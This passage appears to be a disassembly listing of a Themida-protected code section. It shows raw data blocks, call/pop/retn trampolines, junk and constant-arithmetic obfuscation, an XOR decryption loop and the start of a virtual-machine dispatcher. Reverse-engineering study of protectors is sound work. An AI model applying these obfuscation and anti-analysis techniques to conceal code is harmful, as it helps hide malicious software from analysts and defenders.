60B0B09h, 4980BD8Dh, 0DA8B060Bh, 13F99D23h dd 0A4E9060Bh, 33000000h, 0B066995h, 7F88306h, 1D850Fh dd 85890000h, 60B0EC9h, 24BDBD8Dh, 952060Bh, 0B20998Dh dd 49E95B06h, 60000001h, 8361D18Bh, 850F0AF8h, 6Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1C35646h, 397F0661h dd 85BD29D5h, 8D060B09h, 0B4B78BDh, 159D8B06h, 0E9060B0Dh dd 37h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch dd 7EC35646h, 1B55C854h, 470DC037h, 0EE9h, 0E6578D00h dd 0FA4E6Eh, 9DFBC2BCh ; --------------------------------------------------------------------------- xchg eax, edi fucomip st, st(5) loc_542FBF: ; CODE XREF: Themida_:00542D08j ; Themida_:00542E71j push edi jmp loc_542FCE ; --------------------------------------------------------------------------- db 60h, 2Dh, 73h dd 0E5DA614Dh db 0FCh, 0D8h ; --------------------------------------------------------------------------- loc_542FCE: ; CODE XREF: Themida_:00542FC0j mov ecx, 3CEB60E2h push 0 push edx call sub_542FDE and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542FDE proc near ; CODE XREF: Themida_:00542FD6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_542FDE endp ; --------------------------------------------------------------------------- enter 0FFFFE56Ch, 5Eh imul edx, eax, 7F5B2EC5h push ebx sbb dx, 9CE0h pop ebx cmp dword ptr [edi], 0 jz loc_54305E push 0 push eax call sub_543013 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_543013 proc near ; CODE XREF: Themida_:0054300Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_543013 endp ; --------------------------------------------------------------------------- db 42h dd 3E68A4CFh, 0F306B8Ah, 0BAD88B66h, 643FC9BBh, 72BAC9D1h dd 475686C2h, 5587BA66h, 0FFFFBAE9h, 11E960FFh, 5000000h dd 0B6B010A8h, 0B1E4F51Ch, 28B76CF2h, 0C2DDED80h ; --------------------------------------------------------------------------- cld popa loc_54305E: ; CODE XREF: Themida_:00543002j pop edi push 0 push edx call sub_54306A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54306A proc near ; CODE XREF: Themida_:00543062p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_54306A endp ; --------------------------------------------------------------------------- retn 0FF04h ; --------------------------------------------------------------------------- db 64h, 41h, 0DFh dd 0E82F4857h, 0BD89D98Bh, 60B3235h, 4D74BD89h, 0F98A060Bh dd 16C58D8Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 971444C3h, 8A0Fh, 0B5FF0000h, 60B2F4Dh dd 0F9858DF9h, 50060DA5h, 54E3BD8Dh, 8D8D060Bh, 60B703Bh dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 0B6FBAB5h dd 538D8D06h, 2B060B70h, 33A4F3CFh, 0B8C9h, 0C00B0000h dd 0BD834674h, 60B2F21h, 0FF067400h, 0B101D95h, 74B58B06h dd 8D060B4Dh, 0DA5F985h, 8DD0FF06h, 0B41D185h, 0C7D0FF06h dd 0B067D85h, 106h, 2DA58B00h, 8B060B10h, 0B2891B5h, 7DAD8B06h dd 33060B21h, 0CC2C0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0B6C35343h, 0E85F2067h, 9, 0E795842Eh dd 0C3FA63C6h, 91B58973h, 5A060B1Fh, 9E9h, 7B5E6700h, 0A0EF4A5Bh dd 0BF0FED99h, 21BD83DBh, 60B00h, 4D840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0B03582C3h, 20CD6965h, 0FFE78C45h, 0B05B595h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 85C2AECDh, 83F96E7Fh, 0B1611BDh, 850F0006h, 17Ah, 17BB6652h dd 8B665A7Dh, 19BD83DAh, 1060B0Bh, 164850Fh, 8A0F0000h dd 5, 8E38166h, 3DBD8391h, 60B0Ch, 14C840Fh, 85890000h dd 60B152Dh, 4DC7BD83h, 0F00060Bh, 13984h, 0E5958B00h dd 8D060B0Dh, 0DA5F985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0C7544B8Fh, 0E9CD591Bh dd 12h, 0C8DD43CBh, 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h dd 0B58B0265h, 60B4D74h, 9521BA66h, 0F8D0FFF8h, 284585C6h dd 8B54060Bh, 0B0E1D9Dh, 89DD6806h, 0DE8EA2Fh, 0DF000000h dd 2566BA04h, 0E12C0CE6h, 0F3E92115h, 5ADF8B56h, 2434815Ah dd 15613729h, 1EC5958Bh, 0B5FF060Bh, 60B0B01h, 8D90EA80h dd 0B390D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 84E62DA5h, 8B66430Dh, 29D0FFD9h dd 0B2A6985h, 60006A06h, 13759D89h, 61F5060Bh, 9E8FF6Ah dd 32000000h, 9DCFB18Bh, 46D67603h, 12E8h, 0FC7B3900h dd 0E9B2D496h, 0E642772Eh, 9CAA3D23h, 80DCF3D8h, 5B5A42F7h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 878EECC3h, 59958B9Ch, 0FF060B23h, 0B0655B5h dd 4D6FBA06h, 95FF578Ch, 60B2F4Dh, 15158D89h, 0B58B060Bh dd 60B4D74h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 35C35141h, 6C3DC529h, 3413308h, 0B14E59Dh, 8B0FC306h dd 5, 38C38166h, 0C5B58BF9h, 66060B2Eh, 0F60BD68Bh, 66840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 8A5633C3h, 0CFD9CB33h, 11E935h, 7A5D0000h dd 93718E4Eh, 3402EA42h, 0E5B0B5C8h, 0B6A21B1Ah, 6C695h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F1C35141h dd 7E9h, 10892300h, 63B0236Bh, 4D7C8589h, 0C680060Bh, 159529C8h dd 83060B05h, 840F00F8h, 315h, 0AAD8D01h, 0B8060Bh, 80000000h dd 0AE93BF2h, 40000000h, 0C32A9319h, 3900823h, 0F883FBh dd 0F5840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 3BE85EC3h, 0B70FEC55h, 2F883D1h dd 97850Fh, 0BD290000h, 60B0F11h, 43F7858Dh, 0EE9060Bh dd 0D6000000h, 2C0D0F47h, 9BD0FF50h, 0B661D1D6h, 2DD18B53h dd 929h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 89C35646h, 0F79D9B6Dh, 0D281C638h, 191DA617h, 0EE06BA66h dd 0D98B6650h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 746BC353h, 0CAB70F60h dd 611AEA80h, 0C3DF8B66h, 0D6816660h, 0F3B41731h, 68B0F61h dd 3000000h, 0B29F59Dh, 0B806h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0BD42ACC3h dd 0B589E085h, 60B2039h, 1FCE9h, 0B8D68B00h, 1, 0E1D1BA66h dd 43FCBD8Dh, 9D2B060Bh, 60B01D1h, 0BEE9h, 0E0BB6600h dd 2F883D6h, 53850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8D3D7EC3h, 0B45F4BDh dd 659D0306h, 0E9060B03h, 83h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 66C35747h, 0C498DFDCh, 0EB7C1F66h dd 3F883ADh, 28850Fh, 8A0F0000h, 0Bh, 5840Fh, 81660000h dd 8D74F5DBh, 0B4788BDh, 399D8906h, 0E9060B08h, 33h, 0AC9B589h dd 0F883060Bh, 24850F05h, 60000000h, 0D8CF8166h, 858D8BF9h dd 61060B20h, 0B2E9h, 0E9F08A00h, 0Bh, 12C9BD1Eh, 0FF9BD78Ah dd 574C7475h, 0E19D8BFCh, 0B9060B07h, 3CEB60E2h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CAC35040h, 958BDE44h dd 60B1685h, 15299D09h, 3F83060Bh, 60840F00h, 3000000h dd 0B2F499Dh, 0E80F3006h, 11h, 18D99A4Ah, 8930CB3Ch, 3D1890D7h dd 80547641h, 7E959h, 97B20000h, 0F561AEAAh, 0C9D15A97h dd 8147D78Bh, 0B7FFA7CBh, 0E9D18B47h, 0FFFFFFBAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A5C35747h, 0A18D8959h dd 83060B29h, 850F05F8h, 79h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 5EC35747h, 0B7B5F995h, 0E9A9827Bh dd 0Dh, 39E78E0Ch, 2D7A322Dh, 0AC71B135h, 0D98C6627h, 31D58529h dd 0C1F6060Bh, 1C850F04h, 8B000000h, 0B067995h, 0B806h dd 85890000h, 60B2981h, 1CE9h, 0B5BD8900h, 8B060B06h, 0B188185h dd 6880F06h, 89000000h, 0B08A18Dh, 8BE0FF06h, 4DBD83D3h dd 60B2Fh, 7F850Fh, 820F0000h, 6, 12C59589h, 5050060Bh dd 0FD08B52h, 0E4BA6631h, 89585A90h, 66572404h, 178DEB81h dd 4585C65Bh, 45060B28h, 1B099D23h, 1068060Bh, 81E47A5Fh dd 36792434h, 820F6A08h, 6, 322D8D89h, 0B5FF060Bh, 60B0B01h dd 858DD18Ah, 60B390Dh, 0E6A4B6BAh, 0E9D0FF5Ah, 0Fh, 0C55C7E3Ah dd 0B82F18F2h, 4B3D8A00h, 89D3BE22h, 0B2F4D85h, 8958FC06h dd 0B02A995h, 0CBBD8306h, 60B4Dh, 56840Fh, 840F0000h, 23h dd 12E8h, 7ACC5100h, 0AF49A07h, 0FAD7A3AAh, 0BFCE4CCFh dd 0E9E83E56h, 6, 0D41B1418h, 0FF5A2DE1h, 0B0655B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0FF3D7688h, 0B2F4D95h, 0D6B70F06h, 0F00F883h, 13185h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0D88BA1FDh, 899BD83h, 0F00060Bh, 6D84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 10E680FAh, 0FFDFB70Fh dd 0B0899B5h, 0B8E0B706h, 1, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0A0C35242h, 0F81ABE7h, 682h dd 0C5F38100h, 0FC4E63AEh, 262E9h, 78A0F00h, 50000000h dd 0CEDB8166h, 0B5FF5A0Fh, 60B0655h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 43C35646h, 21AB4772h, 0F09B589h dd 0B5FF060Bh, 60B0655h, 0B5FFF58Ah, 60B2F4Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 76C35141h, 0FE871015h dd 8CA502D5h, 0D178B860h, 840F4174h, 3, 611AC580h, 1E2E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 7A45DE4Bh, 8A576566h, 0F5F5BF8h, 184h, 0BD83F800h dd 60B0BD9h, 34850F00h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2839C351h dd 6830F82h, 9000000h, 0B1659B5h, 2EBB6606h, 0C6FE8A4Eh dd 0B284585h, 0AE94D06h, 57000000h, 0A3A12D6Eh, 0A9046414h dd 1D8D0127h, 0E8060B21h, 4, 0A43576A8h, 50D18B66h, 0C628BB66h dd 424448Bh, 754FD7BBh, 50008B1Fh, 0FD98B52h, 11E95331h dd 76000000h, 192B45C9h, 676C82A4h, 2EF93C46h, 0E8BA0E07h dd 89585A5Ah, 0E8042444h, 8, 0AC1E37D9h, 0AAFF8A4Ah, 0A7D111BAh dd 6A585B41h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 2700C350h, 0EA757DF5h, 188D9D23h dd 0B5FF060Bh, 60B0315h, 43A569BAh, 0D858D4Fh, 6A060B39h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 4525C353h, 53AD2E7Fh, 0FE960h, 7360000h dd 77C683C6h, 914166Ah, 15F632D1h, 0CE816690h, 0FF615069h dd 0C58589D0h, 89060B15h, 0B0BD985h, 7E806h, 24290000h dd 16A046E3h, 0FB9DBB02h, 0B85A29D7h, 0 ; --------------------------------------------------------------------------- mov [ebp+60B2DF1h], ebx mov [ebp+60B4D74h], edi or [ebp+60B1A4Dh], ecx or eax, eax jz loc_543AEF mov [ebp+60B0B4Dh], edi jmp loc_543B33 ; --------------------------------------------------------------------------- sub [ebp+60B21DDh], edx loc_543AEF: ; CODE XREF: Themida_:00543AD8j push dword ptr [ebp+60B2F4Dh] push eax mov edx, [ebp+60B0C0Dh] pop ebx lea eax, [ebp+60DA5F9h] and bh, 0FFh push eax push eax push edx call near ptr loc_543B1E+2 fist word ptr fs:[eax+4F942D0h] sub al, 0F9h mov esi, 89D3CE78h pusha dec eax loc_543B1E: ; CODE XREF: Themida_:00543B09p fisub word ptr [esi] mov ebx, 0F5B24D0h xor [edi-4Eh], edx inc esi pop edx pop edx pop eax mov [esp], eax mov bx, ax loc_543B33: ; CODE XREF: Themida_:00543AE4j push eax push esi lea edi, [ebp+60B54E3h] lea ecx, [ebp+60B7AA4h] mov eax, 748323BCh sub ecx, edi loc_543B48: ; CODE XREF: Themida_:00543B4Ej xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_543B48 pop esi pop eax cmp dword ptr [ebp+60B0899h], 0 jz short loc_543B61 mov ecx, [ebp+60B0301h] loc_543B61: ; CODE XREF: Themida_:00543B59j xor ecx, ecx mov eax, 0 or eax, eax jz loc_543C09 cmp dword ptr [ebp+60B2F21h], 0 jz short loc_543B7F call dword ptr [ebp+60B101Dh] loc_543B7F: ; CODE XREF: Themida_:00543B77j mov eax, 0 or eax, eax jnz short loc_543B91 cmp dword ptr [ebp+60B4D7Ch], 1 jz short loc_543B9A loc_543B91: ; CODE XREF: Themida_:00543B86j cmp dword ptr [ebp+60B4D7Ch], 2 jnz short loc_543BA8 loc_543B9A: ; CODE XREF: Themida_:00543B8Fj mov esi, [ebp+60B4D74h] lea eax, [ebp+60DA5F9h] call eax loc_543BA8: ; CODE XREF: Themida_:00543B98j lea eax, [ebp+60B41D1h] call eax cmp dword ptr [ebp+60B1FDDh], 2 jnz short loc_543BE8 mov esp, [ebp+60B102Dh] mov eax, [ebp+60B0899h] mov [esp], eax mov dword ptr [ebp+60B067Dh], 1 mov esi, [ebp+60B4D78h] mov ebp, [ebp+60B217Dh] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_543BE8: ; CODE XREF: Themida_:00543BB7j mov dword ptr [ebp+60B067Dh], 1 mov esp, [ebp+60B102Dh] mov esi, [ebp+60B2891h] mov ebp, [ebp+60B217Dh] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_543C09: ; CODE XREF: Themida_:00543B6Aj cmp dword ptr [ebp+60B0021h], 0 jz short loc_543C21 cmp dword ptr [ebp+60B05B5h], 0 jz short loc_543C21 call dword ptr [ebp+60B05B5h] loc_543C21: ; CODE XREF: Themida_:00543C10j ; Themida_:00543C19j mov esi, [ebp+60B4D74h] retn ; --------------------------------------------------------------------------- push 0 push ecx call sub_543C33 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_543C33 proc near ; CODE XREF: Themida_:00543C2Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_543C33 endp ; --------------------------------------------------------------------------- db 85h dd 92BED3F5h, 8D896908h, 60B103Dh, 0BAF5h, 11E80000h, 0EC000000h dd 73609ADBh, 14B8E316h, 9DEE097Bh, 0B6C03AECh, 5BB8F8BAh ; --------------------------------------------------------------------------- ja short loc_543CCC push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_543C82 ; --------------------------------------------------------------------------- loc_543C80: ; CODE XREF: Themida_:00543C85j inc eax inc edi loc_543C82: ; CODE XREF: Themida_:00543C7Ej cmp byte ptr [edi], 0 jnz short loc_543C80 xor ecx, ecx mov edi, [ebp+8] jmp short loc_543CB1 ; --------------------------------------------------------------------------- loc_543C8E: ; CODE XREF: Themida_:00543CB3j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_543CA6 ; --------------------------------------------------------------------------- loc_543CA3: ; CODE XREF: Themida_:00543CA9j mul ebx dec esi loc_543CA6: ; CODE XREF: Themida_:00543CA1j cmp esi, 0 ja short loc_543CA3 pop ebx add ecx, eax pop eax inc edi dec eax loc_543CB1: ; CODE XREF: Themida_:00543C8Cj or eax, eax jnz short loc_543C8E mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 0E9h dd 0Ch, 8DD79C37h, 403D9135h ; --------------------------------------------------------------------------- loc_543CCC: ; CODE XREF: Themida_:00543C70j add dword ptr [esp+esi*2], 50006A3Dh call sub_543CDB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_543CDB proc near ; CODE XREF: Themida_:00543CD3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_543CDB endp ; --------------------------------------------------------------------------- inc eax mov ah, 0C1h fcomp dword ptr [esi] mov bx, 0C5ABh mov eax, ecx jmp loc_565CD0 ; --------------------------------------------------------------------------- db 28h dd 34025A00h, 3F005AB9h, 68025A00h, 12FFh, 26000000h, 26005ABEh dd 46005ABEh, 2000002h, 1000000h, 5000000h, 0A4000000h dd 0FA48C0h, 4 dup(0) dd 53000000h, 88005470h, 1005460h, 0EB0054E0h, 40005470h dd 0EB0054E2h, 960054CAh, 0FC0054A6h, 0E8005481h, 0C00054F2h dd 910054AAh, 0C70054DDh, 0B600546Eh, 86005451h, 0BF0054B5h dd 9D0054CDh, 0B2005459h, 0D30054ECh, 0F00054C9h, 9D005483h dd 910054B5h, 9700548Fh, 0FD0054F5h, 9E005470h, 0FC005489h dd 0F9005441h, 7700546Ch, 83005498h, 0A1005448h, 680054CBh dd 0F80054C7h, 0C00054B4h, 490054BEh, 1A005445h, 0D50054DCh dd 0F400545Eh, 5A00548Ch, 0C8005484h, 0B3005442h, 0FA0054D7h dd 5E005472h, 5A0054E0h, 330054E6h, 0BE0054FDh, 54C2h dd 0D1005477h, 9F0054F1h, 6B005470h, 830054D9h, 690054EBh dd 6C0054EFh, 2A0054A8h, 0E70054BAh, 650054E3h, 83005484h dd 80054D6h, 6B005489h, 3B0054E6h, 0DD0054A2h, 7B0054B9h dd 0CB0054C2h, 48005457h, 32005440h, 0EC00547Dh, 0F0005441h dd 1E005478h, 0AA0054B0h, 0F80054DAh, 550054F9h, 0D10054F3h dd 72005466h, 0F60054A3h, 44005485h, 0CB0054D2h, 0A2005448h dd 70005444h, 0F900546Eh, 8C0054A4h, 62005474h, 0FA00547Ch dd 19005449h, 47005461h, 0C40054E7h, 8400548Bh, 9E005491h dd 660054A7h, 400054E0h, 0BD005473h, 77005449h, 6300547Fh dd 8500546Bh, 2D0054ECh, 0C5005495h, 0F2005441h, 5C00547Eh dd 0D0054BEh, 3D0054A3h, 6D005458h, 0A10054DBh, 0ED0054EAh dd 0F005462h, 94005482h, 750054F4h, 4F005466h, 0A9005448h dd 50054C4h, 70054A3h, 0CC00546Dh, 4F005467h, 30054C1h dd 0EE005449h, 210054FEh, 33005444h, 200054C1h, 6E0054DEh dd 0CF00544Eh, 0EE0054AEh, 5D00544Fh, 800548Ch, 0D00054CDh dd 27005463h, 33005453h, 0F0054A2h, 0E10054D9h, 540054CFh dd 8C00547Ah, 5800544Fh, 130054F1h, 9E0054A4h, 2B0054BFh dd 0D0005471h, 0B50054B1h, 0CF005479h, 18005451h, 9E005463h dd 990054CAh, 0D3005443h, 640054E3h, 320054B4h, 0AC0054CEh dd 22005464h, 4F005480h, 0BA005471h, 110054E9h, 210054B5h dd 0B20054E2h, 0D2005491h, 5500548Bh, 190054E7h, 350054BCh dd 84005475h, 0FC005486h, 750054A8h, 0DC00544Ch, 17005440h dd 7D0054DBh, 0DC005491h, 87005464h, 58005459h, 510054BBh dd 3E005473h, 9500546Dh, 6E005489h, 86005479h, 63005473h dd 52005440h, 3C005457h db 0D9h, 54h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565CDA loc_543FDB: ; CODE XREF: sub_565CDA+C2j ; sub_565CDA+CCj ... pusha pushf cld call $+5 pop edi sub edi, 60B7F3Fh mov eax, edi add edi, 60B7C57h cmp eax, [edi+2Ch] jnz short loc_543FF9 jmp short loc_54400C ; --------------------------------------------------------------------------- loc_543FF9: ; CODE XREF: sub_565CDA-21CE5j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_544008 ; --------------------------------------------------------------------------- loc_544003: ; CODE XREF: sub_565CDA-21CD0j add [edi+ecx*4+40h], eax dec ecx loc_544008: ; CODE XREF: sub_565CDA-21CD9j or ecx, ecx jnz short loc_544003 loc_54400C: ; CODE XREF: sub_565CDA-21CE3j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_544019: ; CODE XREF: sub_565CDA-21CBAj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_544019 loc_544022: ; CODE XREF: Themida_:005440C1j ; Themida_:0054426Aj ... lodsb jmp loc_54C5EC ; END OF FUNCTION CHUNK FOR sub_565CDA ; --------------------------------------------------------------------------- loc_544028: ; CODE XREF: Themida_:0054C840j add ebp, 4 jmp loc_54BCF1 ; --------------------------------------------------------------------------- loc_544033: ; CODE XREF: Themida_:0054836Bj mov ecx, [esp] add esp, 4 not ecx push edx mov edx, 3B940625h inc edx inc edx jmp loc_546312 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx sub esp, 4 jmp loc_54AD21 ; --------------------------------------------------------------------------- loc_544055: ; CODE XREF: Themida_:00548ED1j mov esp, [esp] jmp loc_54B0DC ; --------------------------------------------------------------------------- loc_54405D: ; CODE XREF: Themida_:00548A77j inc ecx jmp loc_54CB27 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ebp mov ebp, 3C483742h add ebp, 3CB82A3Ah sub eax, ebp mov ebp, [esp] add esp, 4 sub eax, 1226793Fh sub eax, 1D6F4392h add eax, ebx add eax, 1D6F4392h jmp loc_549EEA ; --------------------------------------------------------------------------- loc_544093: ; CODE XREF: Themida_:0054FC68j add eax, ecx pop ecx jmp loc_547DA5 ; --------------------------------------------------------------------------- loc_54409B: ; CODE XREF: Themida_:00544DB7j add esp, 4 add esi, edi mov edi, [esp] push eax jmp loc_54A018 ; --------------------------------------------------------------------------- loc_5440AC: ; CODE XREF: Themida_:00544927j pop dword ptr [esp] mov esp, [esp] push 4FACh jmp loc_5480BD ; --------------------------------------------------------------------------- loc_5440BC: ; CODE XREF: Themida_:0054BA5Bj dec word ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5440C6: ; CODE XREF: Themida_:0054F653j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_54C570 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_546997 ; --------------------------------------------------------------------------- loc_5440E5: ; CODE XREF: Themida_:0054773Dj pop eax jmp loc_544552 ; --------------------------------------------------------------------------- loc_5440EB: ; CODE XREF: Themida_:0054FA5Aj shl edx, 8 add edx, 3F1679BEh sub edx, 63B7E70Dh add ebx, edx mov edx, [esp] add esp, 4 jmp loc_54953B ; --------------------------------------------------------------------------- loc_54410A: ; CODE XREF: Themida_:00547AA0j and edi, 2E0D5EBCh sub esp, 4 mov [esp], esi jmp loc_54D6F6 ; --------------------------------------------------------------------------- loc_54411E: ; CODE XREF: Themida_:0054ADCCj push edi push 25A86264h pop edi jmp loc_548FD8 ; --------------------------------------------------------------------------- loc_54412A: ; CODE XREF: Themida_:0054947Bj and ebp, 68681A2Fh add ebp, 610C25C9h sub ebp, 73186CE1h and ebp, 2D7144ADh not ebp sub ebp, 4E44052Ch sub ebp, 844ABA27h add esi, ebp pop ebp add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] or eax, eax jz loc_54A337 push dword ptr [edi+1Ch] push 138Ah jmp loc_54D949 ; --------------------------------------------------------------------------- loc_54417A: ; CODE XREF: Themida_:005446DAj push ecx mov ecx, 4946601Ch add edi, ecx pop ecx jmp loc_54F76A ; --------------------------------------------------------------------------- loc_544188: ; CODE XREF: Themida_:0054EFB4j push ebp jmp loc_547BFA ; --------------------------------------------------------------------------- loc_54418E: ; CODE XREF: Themida_:00545A2Bj xor esi, ebp not ebp push esi push ebp pop esi pop ebp neg esi add esi, 0FFFFFFFFh and esi, 27FE1E62h xor esi, 26FA1664h add ebx, esi mov esi, [esp] push ebx mov ebx, esp jmp loc_549C45 ; --------------------------------------------------------------------------- loc_5441B4: ; CODE XREF: Themida_:0054DF09j mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_54B51D ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp push edx mov edx, 50A57D8Eh add edx, 0AF5A8276h add eax, edx jmp loc_54DEAF ; --------------------------------------------------------------------------- loc_5441DF: ; CODE XREF: Themida_:0054BFC6j mov [esp], cx movzx cx, al jmp loc_54C80A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_545B28 ; --------------------------------------------------------------------------- lodsd push ecx jmp loc_546103 ; --------------------------------------------------------------------------- loc_544203: ; CODE XREF: Themida_:00546054j add ecx, eax pop eax add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_54443D ; --------------------------------------------------------------------------- loc_54421A: ; CODE XREF: Themida_:0054ABC8j sub dl, 1Dh jmp loc_54E4FF ; --------------------------------------------------------------------------- loc_544222: ; CODE XREF: Themida_:00545DECj pop edx add ch, 3Ah push edx mov dl, ch mov al, dl pop edx mov ecx, [esp] add esp, 4 xor bl, al mov eax, [esp] add esp, 4 add al, 7Eh add al, bl sub al, 7Eh pop ebx jmp loc_54F260 ; --------------------------------------------------------------------------- loc_54424C: ; CODE XREF: Themida_:0054F6FEj add esi, 4 push ebx jmp loc_545292 ; --------------------------------------------------------------------------- loc_544258: ; CODE XREF: Themida_:0054A22Ej mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54426F: ; CODE XREF: Themida_:005458D7j push edx push ebx mov ebx, 75D1079Ah xor [esp+4], ebx jmp loc_54C94A ; --------------------------------------------------------------------------- loc_54427F: ; CODE XREF: Themida_:00548571j xor ebp, 41BF49B2h sub ecx, ebp pop ebp add ecx, 27EB188h add esi, 7C3D5Fh sub esi, 414219ACh add esi, ecx jmp loc_54D0AA ; --------------------------------------------------------------------------- loc_5442A1: ; CODE XREF: Themida_:0054BB3Fj mov [esp], ebp mov ebp, esp push eax mov eax, 8A939D0h shl eax, 3 and eax, 0B1B5E1Dh add eax, 0FEF6B204h jmp loc_549F43 ; --------------------------------------------------------------------------- loc_5442BE: ; CODE XREF: Themida_:005493D5j pop edx sub [edi+24h], ebx pop ebx jmp loc_5480B7 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_54761F ; --------------------------------------------------------------------------- loc_5442D0: ; CODE XREF: Themida_:00545930j sub esp, 4 push esp pop dword ptr [esp] jmp loc_54E761 ; --------------------------------------------------------------------------- loc_5442DF: ; CODE XREF: Themida_:005489BFj sub ebp, edi jmp loc_546271 ; --------------------------------------------------------------------------- loc_5442E6: ; CODE XREF: Themida_:00546C8Cj sub al, 0AFh add al, ch add al, 0AFh mov ecx, [esp] add esp, 4 add bl, 0A6h jmp loc_54DCA0 ; --------------------------------------------------------------------------- loc_5442FA: ; CODE XREF: Themida_:0054B52Dj mov [esp], edi sub esp, 4 push 2398h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 add edi, 4 push esi mov esi, 2 sub edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ax jmp loc_544022 ; --------------------------------------------------------------------------- loc_544344: ; CODE XREF: Themida_:00549690j push eax mov eax, 316D2784h mov esi, eax mov eax, [esp] push edx mov edx, esp jmp loc_54839D ; --------------------------------------------------------------------------- loc_544357: ; CODE XREF: Themida_:00546F20j push 51DCh mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_547A71 ; --------------------------------------------------------------------------- loc_544369: ; CODE XREF: Themida_:0054AFA0j mov edx, [esp] add esp, 4 jmp loc_54CE11 ; --------------------------------------------------------------------------- loc_544374: ; CODE XREF: 